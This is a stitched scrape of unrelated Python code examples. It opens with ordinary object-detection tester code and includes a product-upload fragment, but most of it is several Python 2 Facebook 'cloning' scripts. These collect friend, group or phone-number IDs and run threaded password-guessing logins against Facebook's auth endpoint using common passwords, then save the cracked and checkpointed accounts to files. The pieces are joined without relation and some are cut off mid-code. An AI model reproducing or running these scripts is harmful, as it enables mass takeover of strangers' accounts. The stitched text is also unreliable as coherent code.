                               self.cfg.network.PIXEL_MEANS, ['BKG', 'FRG'], threshold=0.9,
                               save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i,
                                                                                         vis_ext)), transform=False)

        if cache_name:
            cache_path = os.path.join(self.result_path, cache_name)
            if not os.path.isdir(cache_path):
                os.makedirs(cache_path)
            cache_path = os.path.join(cache_path, 'detections.pkl')
            self.show_info('Done! Saving detections into: {}'.format(cache_path))
            with open(cache_path, 'wb') as detfile:
                cPickle.dump(all_boxes, detfile)
        return all_boxes

    def aggregate(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None,
                  pre_nms_db_divide=10, vis_ext='.png'):
        n_scales = len(scale_cls_dets)
        assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale'
        all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)]
        nms_pool = Pool(32)
        if len(scale_cls_dets) > 1:
            self.show_info('Aggregating detections from multiple scales and applying NMS...')
        else:
            self.show_info('Performing NMS on detections...')

        # Apply ranges and store detections per category
        parallel_nms_args = [[] for _ in range(pre_nms_db_divide)]
        n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide))

        for i in range(self.num_images):
            for j in range(1, self.num_classes):
                agg_dets = np.empty((0,5),dtype=np.float32)
                for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES):
                    print all_cls_dets[0]
                    cls_dets = all_cls_dets[j][i]
                    heights = cls_dets[:, 2] - cls_dets[:, 0]
                    widths = cls_dets[:, 3] - cls_dets[:, 1]
                    areas = widths * heights
                    #print 'areas', areas
                    lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \
                        np.arange(len(areas))
                    uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \
                        np.arange(len(areas))
                    valid_ids = np.intersect1d(lvalid_ids,uvalid_ids)
                    cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets
                    #print 'cls_dets', cls_dets
                    agg_dets = np.vstack((agg_dets, cls_dets))
                parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets)

        # Divide roidb and perform NMS in parallel to reduce the memory usage
        im_offset = 0
        for part in tqdm(range(pre_nms_db_divide)):
            final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part])
            #print 'final_dets', final_dets
            n_part_im = int(len(final_dets)/(self.num_classes-1))
            for i in range(n_part_im):
                for j in range(1, self.num_classes):
                    all_boxes[j][im_offset+i] = final_dets[i*(self.num_classes-1)+(j-1)]
            im_offset += n_part_im
        nms_pool.close()
        # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True
        for i in range(self.num_images):
            if self.cfg.TEST.MAX_PER_IMAGE > 0:
                image_scores = np.hstack([all_boxes[j][i][:, -1] for j in range(1, self.num_classes)])
                if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE:
                    image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE]
                    for j in range(1, self.num_classes):
                        keep = np.where(all_boxes[j][i][:, -1] >= image_thresh)[0]
                        all_boxes[j][i] = all_boxes[j][i][keep, :]
            if vis:
                visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH,
                                                                            cache_name)
                if not os.path.isdir(visualization_path):
                    os.makedirs(visualization_path)
                import cv2
                im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB)
                visualize_dets(im,
                               [[]] + [all_boxes[j][i] for j in range(1, self.num_classes)],
                               1.0,
                               self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5,
                               save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i,
                                                                                         vis_ext)), transform=False)

        if cache_name:
            cache_path = os.path.join(self.result_path, cache_name)
            if not os.path.isdir(cache_path):
                os.makedirs(cache_path)
            cache_path = os.path.join(cache_path, 'detections.pkl')
            self.show_info('Done! Saving detections into: {}'.format(cache_path))
            with open(cache_path, 'wb') as detfile:
                cPickle.dump(all_boxes, detfile)
        return all_boxes

    def get_detections(self, cls_thresh=1e-3, cache_name= 'cache', evaluate= False, vis=False, vis_path=None,
                       vis_ext='.png'):
        all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)]
        data_counter = 0
        detect_time, post_time = 0, 0
        if vis:
            visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name)

        if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH):
            os.makedirs(self.cfg.TEST.VISUALIZATION_PATH)

        for batch in self.test_iter:
            im_info = batch.data[1].asnumpy()
            scales = im_info[:,2].reshape(-1,self.batch_size)
            # Run detection on the batch
            stime = time.time()
            scores, boxes, data, im_ids = self.detect(batch, scales)
            detect_time += time.time() - stime

            stime = time.time()
            for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)):
                parallel_nms_args = []
                for j in range(1, self.num_classes):
                    # Apply the score threshold
                    inds = np.where(cscores[:, j] > cls_thresh)[0]
                    #print cls_thresh, inds
                    rem_scores = cscores[inds, j, np.newaxis]
                    rem_boxes = cboxes[inds, 0:4]
                    cls_dets = np.hstack((rem_boxes, rem_scores))
                    if evaluate or vis:
                        parallel_nms_args.append(cls_dets)
                    else:
                        all_boxes[j][im_id] = cls_dets

                # Apply nms
                if evaluate or vis:
                    if not self.thread_pool:
                        self.thread_pool = ThreadPool(8)

                    final_dets = self.thread_pool.map(self.nms_worker.worker, parallel_nms_args)
                    for j in range(1, self.num_classes):
                        all_boxes[j][im_id] = final_dets[j - 1]

                # Filter boxes based on max_per_image if needed
                if evaluate and self.cfg.TEST.MAX_PER_IMAGE:
                    image_scores = np.hstack([all_boxes[j][im_id][:, -1]
                                              for j in range(1, self.num_classes)])
                    if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE:
                        image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE]
                        for j in range(1, self.num_classes):
                            keep = np.where(all_boxes[j][im_id][:, -1] >= image_thresh)[0]
                            all_boxes[j][im_id] = all_boxes[j][im_id][keep, :]
                if vis:
                    if not os.path.isdir(visualization_path):
                        os.makedirs(visualization_path)
                    visualize_dets(batch.data[0][i].asnumpy(),
                                   [[]]+[all_boxes[j][im_id] for j in range(1, self.num_classes)], im_info[i, 2],
                                   self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5,
                                   save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext)))

            data_counter += self.test_iter.get_batch_size()
            post_time += time.time() - stime
            if self.verbose:
                self.show_info('Tester: {}/{}, Detection: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images),
                                                                               self.num_images, detect_time / data_counter,
                                                                               post_time / data_counter ))
        if self.thread_pool:
            self.thread_pool.close()
        return all_boxes

    def extract_proposals(self, n_proposals=300, cache_name= 'cache', vis=False, vis_ext='.png'):
        all_boxes = [[] for _ in range(self.num_images)]
        data_counter = 0
        detect_time, post_time = 0, 0
        if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH):
            os.makedirs(self.cfg.TEST.VISUALIZATION_PATH)

        for batch in self.test_iter:
            im_info = batch.data[1].asnumpy()
            scales = im_info[:,2].reshape(-1,self.batch_size)
            # Run detection on the batch
            stime = time.time()
            scores, boxes, data, im_ids = self.get_proposals(batch, scales)
            detect_time += time.time() - stime

            stime = time.time()
            for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)):
                print cscores.shape, cboxes.shape, im_id
                # Keep the requested number of rois
                rem_scores = cscores[0:n_proposals, np.newaxis]
                rem_boxes = cboxes[0:n_proposals, 0:4]
                cls_dets = np.hstack((rem_boxes, rem_scores)).astype(np.float32)
                if vis:
                    visualization_path = os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name)
                    if not os.path.isdir(visualization_path):
                        os.makedirs(visualization_path)
                    visualize_dets(batch.data[0][i].asnumpy(),
                                   [[]]+[cls_dets], im_info[i, 2],
                                   self.cfg.network.PIXEL_MEANS, ['__background__','object'], threshold=0.5,
                                   save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext)))
                all_boxes[im_id] = cls_dets
            data_counter += self.test_iter.get_batch_size()
            post_time += time.time() - stime
            self.show_info('Tester: {}/{}, Forward: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images),
                                                                               self.num_images,
                                                                               detect_time / data_counter,
                                                                               post_time / data_counter ))
        cache_path = os.path.join(self.result_path, cache_name)
        if not os.path.isdir(cache_path):
            os.makedirs(cache_path)
        cache_path=os.path.join(cache_path,'proposals.pkl')
        self.show_info('Done! Saving detections into: {}'.format(cache_path))
        with open(cache_path, 'wb') as detfile:
            cPickle.dump(all_boxes, detfile)
        #print all_boxes
        return all_boxes
Exemple #54
0
def pilih_super():
	peak = raw_input("\n\033[1;97m >>> \033[1;97m")
	if peak =="":
		print "\033[1;96m[!] \x1b[1;91mIsi yang benar"
		pilih_super()
	elif peak =="1":
		os.system('clear')
		print logo
		print 42*"\033[1;96m="
		jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif peak =="2":
		os.system('clear')
		print logo
		print 42*"\033[1;96m="
		idt = raw_input("\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m")
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama teman\033[1;91m :\033[1;97m "+op["name"]
		except KeyError:
			print"\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan!"
			raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
			super()
		jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
	elif peak =="3":
		os.system('clear')
		print logo
		print 42*"\033[1;96m="
		idg=raw_input('\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ')
		try:
			r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+toket)
			asw=json.loads(r.text)
			print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m "+asw['name']
		except KeyError:
			print"\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan"
			raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
			super()
		jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
		re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+toket)
		s=json.loads(re.text)
		for p in s['data']:
			id.append(p['id'])
	elif peak =="4":
		os.system('clear')
		print logo
		print 42*"\033[1;96m="
		try:
			idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mMasukan nama file  \x1b[1;91m: \x1b[1;97m')
			for line in open(idlist,'r').readlines():
				id.append(line.strip())
		except IOError:
			print '\x1b[1;96m[!] \x1b[1;91mFile tidak ditemukan'
			raw_input('\n\x1b[1;96m[ \x1b[1;97mKembali \x1b[1;96m]')
			super()
	elif peak =="0":
		menu()
	else:
		print "\033[1;96m[!] \x1b[1;91mIsi yang benar"
		pilih_super()
	
	print "\033[1;96m[+] \033[1;93mTotal ID \033[1;91m: \033[1;97m"+str(len(id))
	jalan('\033[1;96m[✺] \033[1;93mStart \033[1;97m...')
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1)
	print
	print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
	print 42*"\033[1;96m="
	
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('out')
		except OSError:
			pass
		try:
			a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			b = json.loads(a.text)
			pass1 = ('786786')
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if 'access_token' in q:
				print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in q["error_msg"]:
					print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
					cek = open("out/super_cp.txt", "a")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = b['first_name']+'12345'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if 'access_token' in q:
						print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in q["error_msg"]:
							print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
							cek = open("out/super_cp.txt", "a")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = b['last_name'] + '123'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if 'access_token' in q:
								print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in q["error_msg"]:
									print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
									cek = open("out/super_cp.txt", "a")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = 'Bangsat'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if 'access_token' in q:
										print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in q["error_msg"]:
											print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
											cek = open("out/super_cp.txt", "a")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = 'Sayang'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if 'access_token' in q:
												print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in q["error_msg"]:
													print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
													cek = open("out/super_cp.txt", "a")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = 'Kontol'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if 'access_token' in q:
														print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in q["error_msg"]:
															print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
															cek = open("out/super_cp.txt", "a")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
															b = json.loads(a.text)
															pass7 = 'Anjing'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if 'access_token' in q:
																print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
																	cek = open("out/super_cp.txt", "a")
																	cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
																	
															
		except:
			pass
		
	p = ThreadPool(30)
	p.map(main, id)
	print 42*"\033[1;96m="
	print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
	print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
	print("\033[1;96m[+] \033[1;92mCP File tersimpan \033[1;91m: \033[1;97mout/super_cp.txt")
	raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
	super()
Exemple #55
0
def action():

    peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m')

    if peak =='':

        print '[!] Fill In Correctly'

        action()

    elif peak =="1":              

        os.system("clear")

        print logo2

        print "Enter any Pakistan Mobile code Number"+'\n'

        print 'Type 1 To 49 for clone'

        print 'telenor,jazz,zong,warid'

        try:

            c = raw_input("\033[1;97mCHOOSE : ")

            k="03"

            idlist = ('.txt')

            for line in open(idlist,"r").readlines():

                id.append(line.strip())

        except IOError:

            print ("[!] File Not Found")

            raw_input("\n[ Back ]")

            blackmafiax()

    elif peak =='0':

        login()

    else:

        print '[!] Fill In Correctly'

        action()

    print 50* '\033[1;94m-'

    xxx = str(len(id))

    jalan ('\033[1;91m Total ids number: '+xxx)

    jalan ('\033[1;92mCode you choose: '+c)

    jalan ("\033[1;93mWait A While Start Cracking...")

    jalan ("\033[1;94mTo Stop Process Press Ctrl+z")

    print 50* '\033[1;97m-'

    def main(arg):

        global cpb,oks

        user = arg

        try:

            os.mkdir('save')

        except OSError:

            pass

        try:

            pass1 = user

            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')

            q = json.load(data)

            if 'access_token' in q:

                print '\x1b[1;93m(Enjoy)  ' + k + c + user + '  |  ' + pass1                                       

                okb = open('save/cloned.txt', 'a')

                okb.write(k+c+user+pass1+'\n')

                okb.close()

                oks.append(c+user+pass1)

            else:

                if 'www.facebook.com' in q['error_msg']:

                    print '\033[1;97m(CP) ' + k + c + user + '  |  ' + pass1

                    cps = open('save/cloned.txt', 'a')

                    cps.write(k+c+user+pass1+'\n')

                    cps.close()

                    cpb.append(c+user+pass1)

                else:

                    pass2 = k + c + user

                    data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')

                    q = json.load(data)

                    if 'access_token' in q:

                        print '\x1b[1;93m(Enjoy)  ' + k + c + user +  '  |  ' + pass2

                        okb = open('save/cloned.txt', 'a')

                        okb.write(k+c+user+pass2+'\n')

                        okb.close()

                        oks.append(c+user+pass2)

                    else:

                        if 'www.facebook.com' in q['error_msg']:

                            print '\033[1;97m(CP) ' + k + c + user + '  |  ' + pass2

                            cps = open('save/cloned.txt', 'a')

                            cps.write(k+c+user+pass2+'\n')

                            cps.close()

                            cpb.append(c+user+pass2)

                        else:

                            pass3="Pakistan123"

                            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')

                            q = json.load(data)

                            if 'access_token' in q:

                                print '\x1b[1;93m(Enjoy)  ' + k + c + user + '  |  ' + pass3

                                okb = open('save/cloned.txt', 'a')

                                okb.write(k+c+user+pass3+'\n')

                                okb.close()

                                oks.append(c+user+pass3)

                            else:

                                if 'www.facebook.com' in q['error_msg']:

                                    print '\033[1;97m(OHH NO) ' + k + c + user + '  |  ' + pass3 

                                    cps = open('save/cloned.txt', 'a')

                                    cps.write(k+c+user+pass3+'\n')

                                    cps.close()

                                    cpb.append(c+user+pass3)

                                else:

                                    pass4="usman12345"

                                    data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')

                                    q = json.load(data)

                                    if 'access_token' in q:

                                        print '\x1b[1;93m(Enjoy)  ' + k + c + user + '  |  ' + pass4 

                                        okb = open('save/cloned.txt', 'a')

                                        okb.write(k+c+user+pass4+'\n')

                                        okb.close()

                                        oks.append(c+user+pass4)

                                    else:

                                        if 'www.facebook.com' in q['error_msg']:

                                            print '\033[1;97m(OHH NO) ' + k + c + user + '  |  ' + pass4

                                            cps = open('save/cloned.txt', 'a')

                                            cps.write(k+c+user+pass4+'\n')

                                            cps.close()

                                            cpb.append(c+user+pass4)

                                        else:

                                            pass5="786786"

                                            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')

                                            q = json.load(data)

                                            if 'access_token' in q:

                                                print '\x1b[1;93m(Enjoy)  ' + k + c + user + '  |  ' + pass5

                                                okb = open('save/cloned.txt', 'a')

                                                okb.write(k+c+user+pass5+'\n')

                                                okb.close()

                                                oks.append(c+user+pass5)

                                            else:

                                                if 'www.facebook.com' in q['error_msg']:

                                                    print '\033[1;97m(OHH NO) ' + k + c + user + '  |  ' + pass5 

                                                    cps = open('save/cloned.txt', 'a')

                                                    cps.write(k+c+user+pass5+'\n')

                                                    cps.close()

                                                    cpb.append(c+user+pass5)

                                                                                                                                                                                                                

                                                                                                                                                                                                                

                                                                                                                                                                                                            

                                                                                                                                                                                                            

                                                                                                                                                                                                            

                                                                                                                                                                                                            

                                                                                                                                                                                                            

                                                                                                                                                                                                            

                                                                                                                                                                                                                    

                                                                                                                                                                                                            

        except:

            pass

        

    p = ThreadPool(30)

    p.map(main, id)

    print 50* '\033[1;91m-'

    print 'Process Has Been Completed ...'

    print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb))

    print('Cloned Accounts Has Been Saved : save/cloned.txt')

    jalan("Note : Your Offline account Will Open after 10 to 20 days")

    print ''

    print """

    ███

──────────███║║║║║║║███

─────────█║║║║║║║║║║║║║█

────────█║║║║███████║║║║█

───────█║║║║██─────██║║║║█

──────█║║║║██───────██║║║║█

─────█║║║║██─────────██║║║║█

─────█║║║██───────────██║║║█

─────█║║║█─────────────█║║║█

─────█║║║█─────────────█║║║█

─────█║║║█─────────────█║║║█

─────█║║║█─────────────█║║║█

────███████───────────███████

───██║║║║║║██────────██║║║║║██

──██║║║║║║║║██──────██║║║║║║║██

─██║║║║║║║║║║██───██║║║║║║║║║║██

██║║║║║║║║║║║║█████║║║║║║║║║║║║██

█║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║█

█║║║║║║║║║║║║║█████║║║║║║║║║║║║║█

█║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█

█║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█

█║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█

██║║║║║║║║║║║█░░░░░█║║║║║║║║║║║██

██║║║║║║║║║║║║█░░░█║║║║║║║║║║║║██

─██║║║║║║║║║║║█░░░█║║║║║║║║║║║██

──██║║║║║║║║║║█░░░█║║║║║║║║║║██

───██║║║║║║║║║█░░░█║║║║║║║║║██

────██║║║║║║║║█████║║║║║║║║██

─────██║║║║║║║║███║║║║║║║║██

──────██║║║║║║║║║║║║║║║║║██

───────██║║║║║║║║║║║║║║║██

────────██║║║║║║║║║║║║║██

─────────██║║║║║║║║║║║██

──────────██║║║║║║║║║██

───────────██║║║║║║║██

────────────██║║║║║██

─────────────██║║║██

──────────────██║██

───────────────███

───────────────────────▄██▄▄██▄

──────────────────────██████████

──────────────────────▀████████▀

────────────────────────▀████▀

─────────────────────────████

─────────────────────────████

─────────────────────────████

─────────────────────────████

─────────────────────────████

─────────────────────────████

─────────────────────────████

─────────────────────────████

──────────────────────▄▄▄████

──────────────────────▀▀▀████

──────────────────────▀▀▀████

──────────────────────▀▀▀████

──────────────────────▄█████▀

\033[1;96mThanks me later

\033[1;95mFb\033[1;97m54Q11

\033[1;95myoutube\033[1;97mhttps://https://www.facebook.com/54Q11.ALL.HATERX.KA.PAPA.FEEL.THE.POWER"""

    

    raw_input("\n\033[1;92m[\033[1;92mBack\033[1;95m]")

    login() 
    saveToJson(p_list)
    upload_to_cloudsearch(products_json)
    print ('uploading')
    
# Yield successive n-sized 
# chunks from l. 
def divide_chunks(l, n): 
    # looping till length l 
    for i in range(0, len(l), n):  
        yield l[i:i + n] 
        
if __name__ == '__main__': 
#first run
    all_products=getAdvertisers()

    product_list=[]
#use extend instead of append to get all
    product_list.extend(getProducts(all_products))
    
    # using list comprehension, devide all products into 4000 each
    n = 4000
    final = divide_chunks(product_list, n)
    
# set retries to avoid timeout 
    config = Config(connect_timeout=10, retries={'max_attempts': 0})
    pool= ThreadPool(processes=3)
    pool.map(upload_test, final)
    print('done')
        
        
Exemple #57
0
																print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;93m▬\x1b[1;97m-' + user + '-\x1b[1;93m▬\x1b[1;97m-' + pass13
																oks.append(user+pass13)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;93mCheckpoint\x1b[1;97m-\x1b[1;93m▬\x1b[1;97m-' + user + '-\x1b[1;93m▬\x1b[1;97m-' + pass13
																	cek = open("out/checkpoint.txt", "a")
																	cek.write(user+"|"+pass13+"\n")
																	cek.close()
																	cekpoint.append(user+pass13)
																	
															
		except:
			pass
		
	p = ThreadPool(50)
	p.map(main, id)
	print "\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mDEFAULTER\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
	print "  \033[1;93m«---•◈•---Developed By FADII JUTT--•◈•---»" #Dev:FADII JUTT
	print '\033[1;96m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 FADII JUTT.py)↩\033[1;97m....'
	print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
	print """


╭━━━┳━━━┳━━━┳━━┳━━╮╱╱╭┳╮╱╭┳━━━━┳━━━━╮
┃╭━━┫╭━╮┣╮╭╮┣┫┣┻┫┣╯╱╱┃┃┃╱┃┃╭╮╭╮┃╭╮╭╮┃
┃╰━━┫┃╱┃┃┃┃┃┃┃┃╱┃┃╱╱╱┃┃┃╱┃┣╯┃┃╰┻╯┃┃╰╯
